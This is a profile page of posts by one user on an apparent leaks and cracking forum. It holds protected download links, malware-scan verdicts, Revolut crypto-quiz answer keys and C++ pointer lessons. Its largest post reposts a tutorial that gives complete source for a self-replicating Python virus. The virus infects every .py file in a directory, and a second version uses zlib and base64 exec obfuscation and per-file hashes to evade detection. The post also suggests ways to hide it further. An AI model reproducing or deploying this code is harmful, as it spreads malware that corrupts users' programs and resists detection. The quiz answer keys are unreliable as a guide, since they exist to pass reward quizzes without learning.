Jump to content

quix

Manager
  • Posts

    562
  • Joined

  • Last visited

  • Days Won

    64

Everything posted by quix

  1. Download (AnonFiles) : [Protected content]
  2. quix

    Sugestii forum

    https://www.leaks.ro/forum/176-cracking-source-codes-tools-etc/ - categorie separata pentru jocuri | Cracked Games
  3. View / Download : [Protected content]
  4. View / Download : [Protected content]
  5. View / Download : [Protected content]
  6. Download (AnonFiles) : [Protected content]
  7. View / Download : [Protected content]
  8. VirusTotal Link : https://www.virustotal.com/gui/file/d9eb3f98c025c100fd7687d0a2f36cd3ab071d92ceccb388d8d56cf1f909501b?nocache=1
  9. Download (AnonFiles) : [Protected content]
  10. Download (bunkr.ru) : [Protected content]
  11. This program is : Safe to use ! There weren't any infections found throughout the program and you can safely use it! Thank you for keeping our community safe!
  12. This program is : Possibly infected ! Infections were found and this program may be a Keylogger ! Possible solution : Usage of a Virtual Machine ! Thank you for your share!
  13. This program is : Safe to use ! No infections were found and you can use it without any worries! Thank you for keeping our community safe!
  14. This pack was found as : Infected ! More than 60% of it's contents have a RAT or Malware injected into them, however, the RAT is inactive! Possible solutions : Usage of a Virtual Machine Thank you for your share!
  15. I was relaxing on a beach during my summer leave when I received a mail from a reader that asked me if it is technically possible to write a virus using Python. The short answer: YES. The longer answer: yes, BUT… Let’s start by saying that viruses are a little bit anachronistic in 2023… nowadays other kinds of malware (like worms for example) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general. Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly. That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration. I met my first computer virus in 1988. I was playing an old CGA platform game with my friend Alex, that owned a wonderful Olivetti M24 computer (yes, I’m THAT old…) when the program froze and a little ball started to go around the screen. We had never seen anything like that before and so we didn’t know it back then, but we were facing the Ping-Pong virus one of the most famous and common viruses ever… at least here in Italy. Now, before start, you know I have to write a little disclaimer. This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME! Now, we can proceed. According to Wikipedia… a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses. That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system. Usually, a computer virus does is made by three parts: The infection vector: this part is responsible to find a target and propagates to this target The trigger: this is the condition that once met execute the payload The payload: the malicious function that the virus carries around Let’s start coding. 1try: 2 # retrieve the virus code from the current infected script 3 virus_code = get_virus_code() 4 5 # look for other files to infect 6 for file in find_files_to_infect(): 7 infect(file, virus_code) 8 9 # call the payload 10 summon_chaos() 11 12# except: 13# pass 14 15finally: 16 # delete used names from memory 17 for i in list(globals().keys()): 18 if(i[0] != '_'): 19 exec('del {}'.format(i)) 20 21 del i Let’s analyze this code. First of all, we call the get_virus_code() function, which returns the source code of the virus taken from the current script. Then, the find_files_to_infect() function will return the list of files that can be infected and for each file returned, the virus will spread the infection. After the infection took place, we just call the summon_chaos() function, that is - as suggested by its name - the payload function with the malware code. That’s it, quite simple uh? Obviously, everything has been inserted in a try-except block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass statement in the except block. The finally block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works. Okay, now we need to implement the stub functions we have just created! Let’s start with the first one: the get_virus_code() function. To get the current virus code, we will simply read the current script and get what we find between two defined comments. For example: 1def get_content_of_file(file): 2 data = None 3 with open(file, "r") as my_file: 4 data = my_file.readlines() 5 6 return data 7 8def get_virus_code(): 9 10 virus_code_on = False 11 virus_code = [] 12 13 code = get_content_of_file(__file__) 14 15 for line in code: 16 if "# begin-virus\n" in line: 17 virus_code_on = True 18 19 if virus_code_on: 20 virus_code.append(line) 21 22 if "# end-virus\n" in line: 23 virus_code_on = False 24 break 25 26 return virus_code Now, let’s implement the find_files_to_infect() function. Here we will write a simple function that returns all the *.py files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system! 1import glob 2 3def find_files_to_infect(directory = "."): 4 return [file for file in glob.glob("*.py")] This routine could also be a good candidate to be written with a generator. What? You don’t know generators? Let’s have a look at this interesting article then! And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this: 1def get_content_if_infectable(file): 2 data = get_content_of_file(file) 3 for line in data: 4 if "# begin-virus" in line: 5 return None 6 return data 7 8def infect(file, virus_code): 9 if (data:=get_content_if_infectable(file)): 10 with open(file, "w") as infected_file: 11 infected_file.write("".join(virus_code)) 12 infected_file.writelines(data) Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console. 1def summon_chaos(): 2 # the virus payload 3 print("We are sick, fucked up and complicated\nWe are chaos, we can't be cured") Ok, our virus is ready! Let’s see the full source code: 1# begin-virus 2 3import glob 4 5def find_files_to_infect(directory = "."): 6 return [file for file in glob.glob("*.py")] 7 8def get_content_of_file(file): 9 data = None 10 with open(file, "r") as my_file: 11 data = my_file.readlines() 12 13 return data 14 15def get_content_if_infectable(file): 16 data = get_content_of_file(file) 17 for line in data: 18 if "# begin-virus" in line: 19 return None 20 return data 21 22def infect(file, virus_code): 23 if (data:=get_content_if_infectable(file)): 24 with open(file, "w") as infected_file: 25 infected_file.write("".join(virus_code)) 26 infected_file.writelines(data) 27 28def get_virus_code(): 29 30 virus_code_on = False 31 virus_code = [] 32 33 code = get_content_of_file(__file__) 34 35 for line in code: 36 if "# begin-virus\n" in line: 37 virus_code_on = True 38 39 if virus_code_on: 40 virus_code.append(line) 41 42 if "# end-virus\n" in line: 43 virus_code_on = False 44 break 45 46 return virus_code 47 48def summon_chaos(): 49 # the virus payload 50 print("We are sick, fucked up and complicated\nWe are chaos, we can't be cured") 51 52# entry point 53 54try: 55 # retrieve the virus code from the current infected script 56 virus_code = get_virus_code() 57 58 # look for other files to infect 59 for file in find_files_to_infect(): 60 infect(file, virus_code) 61 62 # call the payload 63 summon_chaos() 64 65# except: 66# pass 67 68finally: 69 # delete used names from memory 70 for i in list(globals().keys()): 71 if(i[0] != '_'): 72 exec('del {}'.format(i)) 73 74 del i 75 76# end-virus Let’s try it putting this virus in a directory with just another .py file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py) that returns some random numbers, like this: 1 # numbers.py 2 3import random 4 5random.seed() 6 7for _ in range(10): 8 print (random.randint(0,100)) 9 When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL! Now, in the same directory, I have my virus. Let’s execute it: 1/playgrounds/python/first ❯ python ./first.py 2We are sick, fucked up and complicated 3We are chaos, we can't be cured As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py) file? It should be the victim of the infection, so let’s see its code now. 1# begin-virus 2 3import glob 4 5def find_files_to_infect(directory = "."): 6 return [file for file in glob.glob("*.py")] 7 8def get_content_of_file(file): 9 data = None 10 with open(file, "r") as my_file: 11 data = my_file.readlines() 12 13 return data 14 15def get_content_if_infectable(file): 16 data = get_content_of_file(file) 17 for line in data: 18 if "# begin-virus" in line: 19 return None 20 return data 21 22def infect(file, virus_code): 23 if (data:=get_content_if_infectable(file)): 24 with open(file, "w") as infected_file: 25 infected_file.write("".join(virus_code)) 26 infected_file.writelines(data) 27 28def get_virus_code(): 29 30 virus_code_on = False 31 virus_code = [] 32 33 code = get_content_of_file(__file__) 34 35 for line in code: 36 if "# begin-virus\n" in line: 37 virus_code_on = True 38 39 if virus_code_on: 40 virus_code.append(line) 41 42 if "# end-virus\n" in line: 43 virus_code_on = False 44 break 45 46 return virus_code 47 48def summon_chaos(): 49 # the virus payload 50 print("We are sick, fucked up and complicated\nWe are chaos, we can't be cured") 51 52# entry point 53 54try: 55 # retrieve the virus code from the current infected script 56 virus_code = get_virus_code() 57 58 # look for other files to infect 59 for file in find_files_to_infect(): 60 infect(file, virus_code) 61 62 # call the payload 63 summon_chaos() 64 65# except: 66# pass 67 68finally: 69 # delete used names from memory 70 for i in list(globals().keys()): 71 if(i[0] != '_'): 72 exec('del {}'.format(i)) 73 74 del i 75 76# end-virus 77# numbers.py 78 79import random 80 81random.seed() 82 83for _ in range(10): 84 print (random.randint(0,100)) And as expected, now we have our virus before the real code. Let’s create another .py file in the same directory, just a simple “hello world” program: 1/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py and now, let’s execute the [numbers.py](http://numbers.py) program: 1/playgrounds/python/first ❯ python numbers.py 02:35:12 PM 2We are sick, fucked up and complicated 3We are chaos, we can't be cured 435 543 689 737 892 971 104 1121 1283 1347 As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py) file, you will see that it has been infected as well, as we can see running it: 1/playgrounds/python/first ❯ python hello.py 2We are sick, fucked up and complicated 3We are chaos, we can't be cured 4hello world Trying to hide the virus code a little more Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus, right? So what can we do to make it a little harder to find? Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something. For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment? Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system. So our get_content_if_infectable() function could be modified like this: 1def get_content_if_infectable(file, hash): 2 # return the content of a file only if it hasn't been infected yet 3 data = get_content_of_file(file) 4 5 for line in data: 6 if hash in line: 7 return None 8 9 return data Obviously, before calling it you should calculate the hash of the file you’re going to infect like this: 1hash = hashlib.md5(file.encode("utf-8")).hexdigest() and also the get_virus_code() function should be modified to look for the current script hash: 1def get_virus_code(): 2 # open the current file and returns the virus code, that is the code between the 3 # begin-{hash} and the end-{hash} tags 4 virus_code_on = False 5 virus_code = [] 6 7 virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest() 8 code = get_content_of_file(__file__) 9 10 for line in code: 11 if "# begin-" + virus_hash in line: 12 virus_code_on = True 13 14 if virus_code_on: 15 virus_code.append(line + "\n") 16 17 if "# end-" + virus_hash in line: 18 virus_code_on = False 19 break 20 21 return virus_code And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot? Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. We could just pass our plain text virus to a new transform_and_obscure_virus_code() function like this: 1def obscure(data: bytes) -> bytes: 2 # obscure a stream of bytes compressing it and encoding it in base64 3 return base64.urlsafe_b64encode(zlib.compress(data, 9)) 4 5def transform_and_obscure_virus_code(virus_code): 6 # transforms the virus code adding some randomic contents, compressing it and converting it in base64 7 new_virus_code = [] 8 for line in virus_code: 9 new_virus_code.append("# "+ str(random.randrange(1000000))+ "\n") 10 new_virus_code.append(line + "\n") 11 12 obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8')) 13 return obscured_virus_code Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this: 1def infect(file, virus_code): 2 # infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code 3 hash = hashlib.md5(file.encode("utf-8")).hexdigest() 4 5 if (data:=get_content_if_infectable(file, hash)): 6 obscured_virus_code = transform_and_obscure_virus_code(virus_code) 7 viral_vector = "exec(\"import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))\")" 8 9 with open(file, "w") as infected_file: 10 infected_file.write("\n# begin-"+ hash + "\n" + viral_vector + "\n# end-" + hash + "\n") 11 infected_file.writelines(data) 12 The complete source code of our new virus could be similar to this: 1# ################ 2# chaos.py 3# a Python virus 4# ############### 5 6# begin-78ea1850f48d1c1802f388db81698fd0 7 8import base64 9import glob 10import hashlib 11import inspect 12import os 13import random 14import zlib 15 16def get_content_of_file(file): 17 data = None 18 # return the content of a file 19 with open(file, "r") as my_file: 20 data = my_file.readlines() 21 22 return data 23 24def get_content_if_infectable(file, hash): 25 # return the content of a file only if it hasn't been infected yet 26 data = get_content_of_file(file) 27 28 for line in data: 29 if hash in line: 30 return None 31 32 return data 33 34def obscure(data: bytes) -> bytes: 35 # obscure a stream of bytes compressing it and encoding it in base64 36 return base64.urlsafe_b64encode(zlib.compress(data, 9)) 37 38def transform_and_obscure_virus_code(virus_code): 39 # transforms the virus code adding some randomic contents, compressing it and converting it in base64 40 new_virus_code = [] 41 for line in virus_code: 42 new_virus_code.append("# "+ str(random.randrange(1000000))+ "\n") 43 new_virus_code.append(line + "\n") 44 45 obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8')) 46 return obscured_virus_code 47 48def find_files_to_infect(directory = "."): 49 # find other files that can potentially be infected 50 return [file for file in glob.glob("*.py")] 51 52def summon_chaos(): 53 # the virus payload 54 print("We are sick, fucked up and complicated\nWe are chaos, we can't be cured") 55 56def infect(file, virus_code): 57 # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code 58 hash = hashlib.md5(file.encode("utf-8")).hexdigest() 59 60 if (data:=get_content_if_infectable(file, hash)): 61 obscured_virus_code = transform_and_obscure_virus_code(virus_code) 62 viral_vector = "exec(\"import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))\")" 63 64 with open(file, "w") as infected_file: 65 infected_file.write("\n# begin-"+ hash + "\n" + viral_vector + "\n# end-" + hash + "\n") 66 infected_file.writelines(data) 67 68def get_virus_code(): 69 # open the current file and returns the virus code, that is the code between the 70 # begin-{hash} and the end-{hash} tags 71 virus_code_on = False 72 virus_code = [] 73 74 virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest() 75 code = get_content_of_file(__file__) 76 77 for line in code: 78 if "# begin-" + virus_hash in line: 79 virus_code_on = True 80 81 if virus_code_on: 82 virus_code.append(line + "\n") 83 84 if "# end-" + virus_hash in line: 85 virus_code_on = False 86 break 87 88 return virus_code 89 90# entry point 91 92try: 93 # retrieve the virus code from the current infected script 94 virus_code = get_virus_code() 95 96 # look for other files to infect 97 for file in find_files_to_infect(): 98 infect(file, virus_code) 99 100 # call the payload 101 summon_chaos() 102 103except: 104 pass 105 106finally: 107 # delete used names from memory 108 for i in list(globals().keys()): 109 if(i[0] != '_'): 110 exec('del {}'.format(i)) 111 112 del i 113 114# end-78ea1850f48d1c1802f388db81698fd0 Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py), and let’s see what happens. 1/playgrounds/python/chaos ❯ python chaos.py 2We are sick, fucked up and complicated 3We are chaos, we can't be cured Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py) : 1# begin-661bb45509227577d3693829a1e1cb33 2exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4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d6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))") 3# end-661bb45509227577d3693829a1e1cb33 4# numbers.py 5 6import random 7 8random.seed() 9 10for _ in range(10): 11 print (random.randint(0,100)) and this is 1# begin-8d35108ffe2ad173a697734a3e9938e1 2exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfr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wkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))") 3# end-8d35108ffe2ad173a697734a3e9938e1 4print("hello world") Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again. And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so… To sum up In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. Happy coding, code made with by rzo.
  16. Raspunsuri la intrebarile de la Revolut (INCH) : Lesson 1 – Decentralised exchanges · Question #1: Who facilitates an exchange on a DEX? · Answer: No one. The exchange is made peer-to-peer. · Question #2: Which of the following is a decentralised exchange? · Answer: Uniswap. · Question #3: What does DEX stand for in crypto? · Answer: Decentralised exchange. Lesson 2 – How does 1inch get the best prices? · Question #1: What is the name of 1inch’s price search algorithm? · Answer: Pathfinder. · Question #2: How does 1inch find the best prices? · Answer: 1inch aggregates trade options across DEX platforms. · Question #3: Which of the following is not a feature of 1inch’s Pathfinder? · Answer: Provide directions to your destination. Lesson 3 – DAOs and governance · Question #1: Which of the following is a characteristic of a DAO? · Answer: Decentralised. · Question #2: Who can vote on 1inch proposals? · Answer: Users who stake their 1INCH tokens. · Question #3: What is an example of a proposal that 1inch DAO members could vote on? · Answer: Allocating treasury funds for a particular proposal. Mai jos aveti un tabel pentru a va usura treaba: Crypto basics answers table: Question Lesson 1 Lesson 2 Lesson 3 Lesson 4 Question 1: 3 3 1 2 Question 2: 2 4 4 4 Question 3: 1 1 2 1 Polkadot answers table: Question Lesson 1 Lesson 2 Lesson 3 Lesson 4 Lesson 5 Question 1: 3 4 1 3 4 Question 2: 1 1 3 1 2 Question 3: 2 2 4 1 1 1inch answers table: Question Lesson 1 Lesson 2 Lesson 3 Question 1: 4 4 4 Question 2: 3 1 2 Question 3: 1 3 1
  17. Raspunsuri la intrebarile de la Revolut (DOT) - part 2 : Lesson 1 – Intro to Polkadot · Question #1: What are some limitations of early blockchains like Bitcoin? · Answer: Slow transaction speeds, high fees and inability to communicate with other blockchains. · Question #2: What is Web 3.0? · Answer: A new web built around decentralised technologies, where users have more control of their data. · Question #3: How does Polkadot address some of the limitations of earlier blockchains? · Answer: Polkadot allows multiple blockchains to communicate with each other and process transactions at the same time. Lesson 2 – How Polkadot works · Question #1: What is a relay chain? · Answer: A blockchain that connects other blockchains and allows them to communicate. · Question #2: What is a parachain? · Answer: A blockchain connects to the Relay chain and operates parallel to other parachains. · Question #3: What problems do parachains and relay chains solve? · Answer: The inability of blockchains to communicate with each other. Lesson 3 – Who decides the future of Polkadot · Question #1: Who can vote for new initiatives, i.e. Polkadot network upgrades? · Answer: People who hold Polkadot (DOT) tokens. · Question #2: What is Polkadots ‘on-chain’ treasury? · Answer: A container of tokens that can be used to support projects that benefit the Polkadot network. · Question #3: How does Polkadot’s governance system differ from other popular blockchains? · Answer: It’s governed by a community through voting. Lesson 4 – DOT Token · Question #1: What is Polkadot’s crypto token called? · Answer: DOT. · Question #2: What does ‘staking’ your Polkadot (DOT) tokens mean? · Answer: It helps secure the network by locking up DOT tokens in return for a reward in DOT tokens. · Question #3: What does ‘bonding’ your Polkadot tokens mean? · Answer: Locking up tokens to secure a slot for your para chain on the relay chain. Lesson 5 – Polkadot and its uses · Question #1: What are some use cases of Polkadot? · Answer: NFTs, powering smart cities, DeFi, etc. · Question #2: What makes apps built on Polkadot different from the apps on your phone? · Answer: Polkadot applications don’t need to rely on a middleman to work and can keep your data secure. · Question #3: How do applications on parachains communicate? · Answer: Via the Relay Chain.
  18. Raspunsuri la intrebarile de la Revolut (DOT) - part 1 : Lesson 1 – Crypto vs fiat quiz answers · Question #1: What is ‘fiat’ money? · Answer: Government-issued money. · Question #2: What are the main differences between fiat currencies and cryptocurrencies? · Answer: Cryptocurrencies are decentralised, and a central authority controls fiat money. · Question #3: Who validates transactions on the blockchain? · Answer: Special users that are called ‘miners’ or validators. Lesson 2 – Cryptography in crypto · Question #1: Why is cryptography important for cryptocurrencies? · Answer: It (cryptography) removes the need for a central authority, prevents double spending, and adds security. · Question #2: What are private and public keys for cryptocurrencies? · Answer: A public key is like your account number, and your private key is like your password. · Question #3: Which statement is true about private and public keys? · Answer: It’s impossible to work out someone’s private key by looking at their public key. Lesson 3 – Basics of Blockchain · Question #1: What is a Blockchain? · Answer: A decentralised database. · Question #2: Who can view the Blockchain? · Answer: Anyone can view the Blockchain with a computer and an Internet connection. · Question #3: What makes the Blockchain different from a regular database? · Answer: It’s not controlled by any central party and can be viewed by anyone. Lesson 4 – Risks of crypto · Question #1: What regulatory protections does your crypto have? · Answer: None – crypto is not regulated in most countries worldwide. · Question #2: How much can you lose if you buy cryptocurrencies? · Answer: Everything! Your investment could go to zero. · Question #3: When would it not be suitable to buy cryptocurrencies? · Answer: When one is in debt or cannot afford to lose the money invested. O sa revin si cu un update pentru INCH!
  19. Modify the Pointer Value You can also change the pointer's value. But note that this will also change the value of the original variable: Example string food = "Pizza"; string* ptr = &food; // Output the value of food (Pizza) cout << food << "\n"; // Output the memory address of food (0x6dfed4) cout << &food << "\n"; // Access the memory address of food and output its value (Pizza) cout << *ptr << "\n"; // Change the value of the pointer *ptr = "Hamburger"; // Output the new value of the pointer (Hamburger) cout << *ptr << "\n"; // Output the new value of the food variable (Hamburger) cout << food << "\n"; Thank you for being part of my journey to teaching you all the C++ Basics you'll need to start programming! Have fun coding
  20. Get Memory Address and Value In the example from the previous page, we used the pointer variable to get the memory address of a variable (used together with the & reference operator). However, you can also use the pointer to get the value of the variable, by using the * operator (the dereference operator): Example string food = "Pizza"; // Variable declaration string* ptr = &food; // Pointer declaration // Reference: Output the memory address of food with the pointer (0x6dfed4) cout << ptr << "\n"; // Dereference: Output the value of food with the pointer (Pizza) cout << *ptr << "\n"; Note that the * sign can be confusing here, as it does two different things in our code: · When used in declaration (string* ptr), it creates a pointer variable. · When not used in declaration, it act as a dereference operator.
  21. Creating Pointers You learned from the previous chapter, that we can get the memory address of a variable by using the & operator: Example string food = "Pizza"; // A food variable of type string cout << food; // Outputs the value of food (Pizza) cout << &food; // Outputs the memory address of food (0x6dfed4) A pointer however, is a variable that stores the memory address as its value. A pointer variable points to a data type (like int or string) of the same type, and is created with the * operator. The address of the variable you're working with is assigned to the pointer: Example string food = "Pizza"; // A food variable of type string string* ptr = &food; // A pointer variable, with the name ptr, that stores the address of food // Output the value of food (Pizza) cout << food << "\n"; // Output the memory address of food (0x6dfed4) cout << &food << "\n"; // Output the memory address of food with the pointer (0x6dfed4) cout << ptr << "\n"; Example explained Create a pointer variable with the name ptr, that points to a string variable, by using the asterisk sign * (string* ptr). Note that the type of the pointer has to match the type of the variable you're working with. Use the & operator to store the memory address of the variable called food, and assign it to the pointer. Now, ptr holds the value of food's memory address. Tip: There are three ways to declare pointer variables, but the first way is preferred: string* mystring; // Preferred string *mystring; string * mystring;
  22. Memory Address In the example from the previous page, the & operator was used to create a reference variable. But it can also be used to get the memory address of a variable; which is the location of where the variable is stored on the computer. When a variable is created in C++, a memory address is assigned to the variable. And when we assign a value to the variable, it is stored in this memory address. To access it, use the & operator, and the result will represent where the variable is stored: Example string food = "Pizza"; cout << &food; // Outputs 0x6dfed4 Note: The memory address is in hexadecimal form (0x..). Note that you may not get the same result in your program. And why is it useful to know the memory address? References and Pointers (which you will learn about in the next chapter) are important in C++, because they give you the ability to manipulate the data in the computer's memory - which can reduce the code and improve the performance. These two features are one of the things that make C++ stand out from other programming languages, like Python and Java.
×
×
  • Create New...